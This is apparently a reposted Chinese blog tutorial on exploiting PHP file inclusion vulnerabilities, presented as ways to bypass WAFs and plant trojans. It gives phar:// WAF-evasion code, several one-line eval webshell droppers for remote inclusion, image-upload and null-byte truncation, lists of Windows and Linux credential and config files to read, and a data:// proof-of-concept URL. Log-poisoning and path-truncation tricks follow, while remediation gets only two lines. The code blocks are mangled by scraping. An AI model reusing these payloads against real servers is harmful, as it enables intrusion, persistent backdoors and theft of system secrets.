1. 程式人生 > >檔案包含漏洞(繞過姿勢)

檔案包含漏洞(繞過姿勢)

  檔案包含漏洞是滲透測試過程中用得比較多的一個漏洞,主要用來繞過waf上傳木馬檔案。今日在逛Tools論壇時,發現了一種新型的檔案包含姿勢,在此記錄分享,並附上一些檔案包含漏洞的基礎利用姿勢。

特殊姿勢

利用phar://協議特性可以在滲透過程中幫我們繞過一些waf檢測,phar:// 資料流包裝器自 PHP 5.3.0 起開始有效,貌似可以繞過安全狗。

利用過程

新建shell.php程式碼內容:

123
<?phpinclude 'phar://test.rar/test.txt';?>

新建test.txt裡的內容:

123
<?phpphpinfo();?>

壓縮test.txt檔案,可以重新命名壓縮檔案為zip,phar,rar等格式,之後訪問shell.php檔案後,會出現phpinfo內容。

親測有效

在實驗環境下,在test目錄下新建shell.php,test.txt,並將test.txt打包成test.zip。

shell.php內容如下:

test.txt內容如下:

訪問shell.php:

php檔案包含漏洞

PHP中的檔案包含分為本地包含與遠端包含,導致檔案包含的函式如下:

  • include()
  • include_once()
  • require()
  • require_once()
  • fopen()
  • readfile()
    ……

本地包含漏洞(LFI)

新建一個phpinfo.txt,然後新建一個shell.php,寫入:

123
<?php    Include("phpinfo.txt"
);?>

  訪問shell.php會輸出phpinfo頁面內容,無論將副檔名改為什麼,都將以php程式碼執行。如果檔案不是符合php規則的(即沒有寫<?php ?>等),則通過include可以直接輸出原始碼。

遠端包含漏洞

前提:需要開啟allow_url_fopen,預設關閉。
新建php.txt:

123
<?php   echo "hello world";?>

新建index.php:

123
<?php    Include($_GET['page']);?>

檔案包含利用

讀取敏感資訊
12345
c:\boot.inic:\windows\systems32\inetsrv\MetaBase.xmlc:\windows\repair\samc:\windows\php.ini             php配置檔案c:\windows\my.ini               mysql配置檔案

LINUX:

12345
/etc/passwd/usr/local/app/apache2/conf/http.conf/usr/local/app/php5/lib/php.ini          PHP相關設定/etc/httpd/conf/http.conf                    apache配置檔案/etc/my.cnf                                              mysql配置檔案
遠端包含shell

test.txt檔案,可以儲存在遠端伺服器上,內容如下:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[nmask]);?>")?>
1
<?php   eval($_POST[nmask]);?>
本地包含配合檔案上傳

如果目標伺服器關閉了allow_url_fopen,則可以嘗試使用本地包含+檔案上傳
上傳一個圖片木馬a.jpg,內容為:

1
<?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>
本地包含配合apache日誌拿shell

  apache日誌分為access.log與error.log,當我們請求一個url地址時,便會記錄在access.log中,但如果訪問一個不存在的頁面,便會將這個頁面寫入access.log中。如訪問URL:則會將一句話寫入到access.log中,但是一般來說,寫入到access.log檔案中的一句話是被編碼的,所以需要抓包繞過,而且利用此漏洞需要知道access.log的地址,不然便沒有。

利用/proc/self/environ進行包含
利用php協議進行包含
  • data:  php5.2以後版本
  • php://input  需要開啟allow_url_include
  • poc:

    1
    http://www.test.com/index.php?file=data:text/plain,<?php phpinfo();?>%00
    截斷包含

    有些開發者為了防止本地包含漏洞,會編寫一下程式碼:

    123
    <?php    Include  $_GET['page'].".php"?>

    (一)00截斷包含
    新建1.jpg:

    1
    <?fputs(fopen("shell.php","w"),"<?php eval($_POST[tzc]);?>")?>

    (二)使用長目錄截斷

    12345
    ././././././././././././././etc/passwd或者////////////////////////////etc/passwd或者../a/etc/passwd/../a/etc/passwd/../a/etc/passwd

    在windows下目錄最大長度為256位元組,linux下為4096位元組,其後面超出部分被丟棄。

    檔案包含漏洞修復

    開啟open_basedir函式,將其設定為指定目錄,則只有該目錄的檔案允許被訪問。
    關閉allow_url_include函式,防止遠端檔案包含。

    jsp檔案包含漏洞

    include

    123
    <%@ include file="head.jsp"%><%@ include file="body.jsp"%><%@ include file="tail.jsp"%>

    jsp:include

    123
    <jsp:include page="head.jsp"/><jsp:include page="body.jsp"/>   <jsp:include page="tail.jsp”/>

    採用JSTL

    說明

    (1)include指令在轉換時插入“Header.jsp”的原始碼,而標準動作在執行時插入“Header.jsp”的響應。元素允許你包含動態檔案和靜態,而include說明標籤僅僅是把一個檔案內容當成靜態追加到主檔案中去。
    (2)採用前兩種方式,只能包含當前web應用的介面,不過c:import可以包含容器之外的內容。

    asp檔案包含漏洞

    asp貌似無法包含遠端檔案(iis安全設定),只能包含本地檔案,語法如下:

    1
    <!--#include file="1.asp" -->

    aspx檔案包含漏洞

    aspx檔案包含與asp一樣,語法如下:

    1
    <!--#include file="top.aspx" -->

    傳送門